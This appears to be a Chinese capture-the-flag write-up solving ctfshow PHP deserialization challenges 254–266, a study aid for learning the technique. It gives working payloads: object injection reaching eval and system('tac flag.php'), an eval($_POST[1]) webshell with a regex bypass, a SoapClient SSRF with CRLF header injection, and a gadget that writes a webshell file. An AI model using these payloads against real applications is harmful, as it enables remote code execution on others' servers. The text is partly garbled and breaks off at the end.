ctfshow254(代码审计,反序列化)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
这一段传入两个参数,往下实例化一个 ctfShowUser() ,如果$user里的login方法 if($this->username===$u&&$this->password===$p){?$this->isVip=true; 就把isvip设置为true,然后?if($user->checkVip()){ $user->vipOneKeyGetFlag();?直接符合条件输出?vipOneKeyGetFlag()?里的flag
ctfshow255(代码审计,反序列化)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
这段代码需要传入两个参数username和password,然后会反序列化cookie的user
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
这段代码需要让 $isVip=true; username===$u&&$this->password===$p; 传入的账号密码和里面的值相等
构建反序列化:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=True;}
$a=new ctfShowUser();
echo urlencode(serialize($a));
把输出结果写入cookie,在get传入:?username=xxxxxx&password=xxxxxx
ctfshow256(代码审计,反序列化)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
传入的username和password不能相等,构造payload
<?php
class ctfShowUser
{
public $username = '1';
public $password = '2';
public $isVip = true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
?username=1&password=2
ctfshow257(代码审计,反序列化)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){//创建
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ //销毁
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
public function getInfo(){
eval($this->code);
}
getInfo里面有eval,需要控制参数code的值,
class backDoor{
private $code; 值是可控的
需要实例化对象时调用可以new一个方法,可控的
public function __construct(){
$this->class=new info();
}
构建payload:
<?php
class ctfShowUser
{
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = false;
private $class;
public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor
{
private $code = "system('tac flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?username=&password=
ctfshow258(代码审计,反序列化)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
比上一题多了一个正则,不能匹配到o:后面的数字
知识点:使用+号绕过匹配
构造payload:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='eval($_POST[1]);';
}
$c=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);
echo urlencode($b);
?username=&password=
1=system('ls');
ctfshow259(代码审计,反序列化)
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']); //反序列化接收的vip参数
//vip can get flag one key
$vip->getFlag();//调用一个不存在的函数
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //构造的x-forwarded_for需要用,分隔
array_pop($xff); //抽出一次最后一组
$ip = array_pop($xff); //将最后一组赋值给ip。
if($ip!=='127.0.0.1'){ //传入的ip值需要为127.0.0.1
die('error');
}else{
$token = $_POST['token']; //post接收的token需要等于ctfshow
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag); //最后输出flag.txt
}
}
知识点:php原生类的 soapclient函数,当实例化一个不存在的方法时调用内置的call方法,会接收(str,arr)。可以通过_call方法发送请求
构造soap发送请求:
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));//请求头,请求地址,url,user_agent包括了所有需要的参数
echo urlencode(serialize($client));//序列化后通过vip传入
最终payload:/flag.txt?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A10%3A%22127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A138%3A%22ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
访问flag.txt
ctfshow260(代码审计,反序列化)
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
//接收ctfshow的参数并序列化,只要序列化后还有
ctfshow_i_love_36D
就返回flag
paload构造:?ctfshow= ctfshow_i_love_36D
ctfshow261(代码审计,反序列化)
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username='';
public $password='';
public $code;
public function __construct($u,$p){ //实例化时调用
$this->username='877.php';
$this->password='<?php @eval($_POST[1]); ?>';
}
public function __wakeup(){ //反序列化时调用
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){ //用调用函数的方法调用对象时调用,当同时存在unserialize时,invoke()失效
eval($this->code);
}
public function __sleep(){ //序列化时调用,没有调用序列化的条件
$this->username='';
$this->password='';
}
public function __unserialize($data){ //反序列化时调用,由于最先使用的时创造函数,所以不考虑
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;//username会赋值给code
}
public function __destruct(){ //销毁时调用
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
//构造username,password成命令执行
unserialize($_GET['vip']);
构造:
<?php
class ctfshowvip{
public $username;
public $password='';
public $code;
public function __construct($u,$p){ //实例化时调用
$this->username='877.php';
$this->password='<?php @eval($_POST[1]); ?>';
}
}
$a=new ctfshowvip();
echo serialize($a);
成功后访问877.php命令执行
ctfshow262(代码审计,反序列化,字符串逃逸)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));//str_replace字符串逃逸,fuck,loveU字符会无法替换到U,多出一位字符我们就可以控制一位字符,构造长度足够一句话的长度
setcookie('msg',base64_encode($umsg));setcookie登录admin
echo 'Your message has been sent';
}
ctfshow266(代码审计,反序列化)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
1.$cs = file_get_contents('php://input'); 解 file_get_contents 读取 php://input POST传入的数据会被 $ctfshowo=@unserialize($cs); 反序列化
2. function __destruct(){ global $flag; echo $flag; } 当销毁一个对象时调用
1.__construct()
触发条件:new一个实例化对象的时候
作用:初始化函数,对类进行初始化,同时也可以执行其它语句
2.__desturct()
触发条件:销毁一个实例化对象的时候
作用:析构函数,对实例化对象销毁,同时也可以执行其它语句
3.__wakeup()
触发条件:反序列化时触发
作用:额,就是调用一下,函数有什么功能这是自己定义的
4.__sleep()
触发条件:序列化的时候触发
作用:额,就是调用一下,函数有什么功能这是自己定义的
5.__invoke
作用:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
例如:class Ctfshow,然后使用$Ctfshow();时被调用
3.__unserialize()
触发条件:7.4以上版本,反序列化时触发,且绕过__wakeup()
3. if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); } 传入的POST数据不能有 ctfshow 。大小写绕过
最终:
class ctfshow
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
}
$a= new ctfshow();
echo serialize($a);
然后破坏完整的实例结构,就会触发 __desturct()
最终
|